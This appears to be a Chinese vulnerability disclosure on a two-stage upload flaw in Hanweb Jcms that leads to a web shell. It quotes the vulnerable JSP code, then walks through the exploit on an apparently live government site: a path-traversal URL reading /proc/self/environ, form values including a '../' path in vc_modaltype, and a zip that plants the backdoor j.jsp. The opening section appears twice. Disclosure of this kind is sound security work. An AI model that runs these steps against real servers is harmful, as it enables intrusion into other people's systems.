### 简要描述: 大汉网络Jcms二次上传Getshell. ### 详细说明: 这段程序漏洞的逻辑比较复杂, 下面代码分析:jcms/m_5_e/module/opr_updatemodule.jsp ``` ... ... //上传文件 CommonUploadFile upload = new CommonUploadFile( strTemp ,null); upload.uploadFile(request); String[] strFileName = upload.getAllFileName(); que_hiddenvalue = upload.getFormValue("que_hiddenvalue"); ... ... //两个参数,通过表单获取。 modalType = upload.getFormValue("vc_modaltype"); int i_updatetype = Convert.getStringValueInt(upload.getFormValue("c_updatetype_hid")); ... ... /*将文件解压到解压目录*/ zf.unzip( true,strTemp + strFileName[0],strUnzipFile ); ... ... //设置表单c_updatetype_hid=1,进入此判断 if (1 == i_updatetype || 0 == i_updatetype){ //第一次上传modalType为空,上传文件被解压到strUnzipFile,拷贝到strModalPath,但是strModalPath不在web目录中 //第二次上传modalType设置为web目录,解压目录strUnzipFile+modalType的路径就会不存在,所以第一次上传为的是先把文件放上去 //第二次把已经上传好的文件,拷贝到strModalPath + modalType构造的web目录,就ok了。 bl = blf.updateModuleFileToWeb( strModalPath + modalType +"/",strUnzipFile+modalType+"/" ); } ... ... ``` ### 漏洞证明: 首先通过文件读取漏洞获取web目录...
### 简要描述: 大汉网络Jcms二次上传Getshell. ### 详细说明: 这段程序漏洞的逻辑比较复杂, 下面代码分析:jcms/m_5_e/module/opr_updatemodule.jsp ``` ... ... //上传文件 CommonUploadFile upload = new CommonUploadFile( strTemp ,null); upload.uploadFile(request); String[] strFileName = upload.getAllFileName(); que_hiddenvalue = upload.getFormValue("que_hiddenvalue"); ... ... //两个参数,通过表单获取。 modalType = upload.getFormValue("vc_modaltype"); int i_updatetype = Convert.getStringValueInt(upload.getFormValue("c_updatetype_hid")); ... ... /*将文件解压到解压目录*/ zf.unzip( true,strTemp + strFileName[0],strUnzipFile ); ... ... //设置表单c_updatetype_hid=1,进入此判断 if (1 == i_updatetype || 0 == i_updatetype){ //第一次上传modalType为空,上传文件被解压到strUnzipFile,拷贝到strModalPath,但是strModalPath不在web目录中 //第二次上传modalType设置为web目录,解压目录strUnzipFile+modalType的路径就会不存在,所以第一次上传为的是先把文件放上去 //第二次把已经上传好的文件,拷贝到strModalPath + modalType构造的web目录,就ok了。 bl = blf.updateModuleFileToWeb( strModalPath + modalType +"/",strUnzipFile+modalType+"/" ); } ... ... ``` ### 漏洞证明: 首先通过文件读取漏洞获取web目录 http://news.jc.gansu.gov.cn/jcms/jcms_files/jcms1/web1/site/module/oss/downfile.jsp?filename=a.txt&pathfile=media/-1/....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//proc/self/environ [<img src="https://images.seebug.org/upload/201410/12105405f3aec4500f1a3e2fe26067d6ff9de7b2.png" alt="clipboard.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/12105405f3aec4500f1a3e2fe26067d6ff9de7b2.png) 得到web目录: CLASSPATH=/soft/tomcat/bin/bootstrap.jar /soft/tomcat/webapps/jcms/ 第一次构造上传 http://news.jc.gansu.gov.cn/jcms/m_5_e/module/opr_updatemodule.jsp 编辑表单 c_updatetype_hid = 1 [<img src="https://images.seebug.org/upload/201410/121054434d0806dbffa23c0ae941c661cbc7f856.png" alt="clipboard.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/121054434d0806dbffa23c0ae941c661cbc7f856.png) 构造zip包: soft.zip 目录结构如下:j.jsp为后门文件。(必须满足这个结构才能上传成功) [<img src="https://images.seebug.org/upload/201410/12105506e13571b459ae4d3650ed19456ae8f2f4.png" alt="clipboard.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/12105506e13571b459ae4d3650ed19456ae8f2f4.png) 点击上传,上传文件解压后存在于wei目录之外。 第二次构造上传 http://news.jc.gansu.gov.cn/jcms/m_5_e/module/opr_updatemodule.jsp 编辑表单 c_updatetype_hid = 1 vc_modaltype = ../soft/tomcat/webapps/jcms/ 使用上面得到的web目录 [<img src="https://images.seebug.org/upload/201410/121055383b20d00b6e2f0c3f400192c3490731ba.png" alt="clipboard.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/121055383b20d00b6e2f0c3f400192c3490731ba.png) 第二次上传同一个zip包,这次上传其实是无效的, 目的是通过vc_modaltype传递web目录, 将第一次生成的文件拷贝到web目录中。 访问http://news.jc.gansu.gov.cn/jcms/j.jsp GetShell [<img src="https://images.seebug.org/upload/201410/12105614e8a85bebc557c65a2efadd76864fc984.png" alt="clipboard.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/12105614e8a85bebc557c65a2efadd76864fc984.png)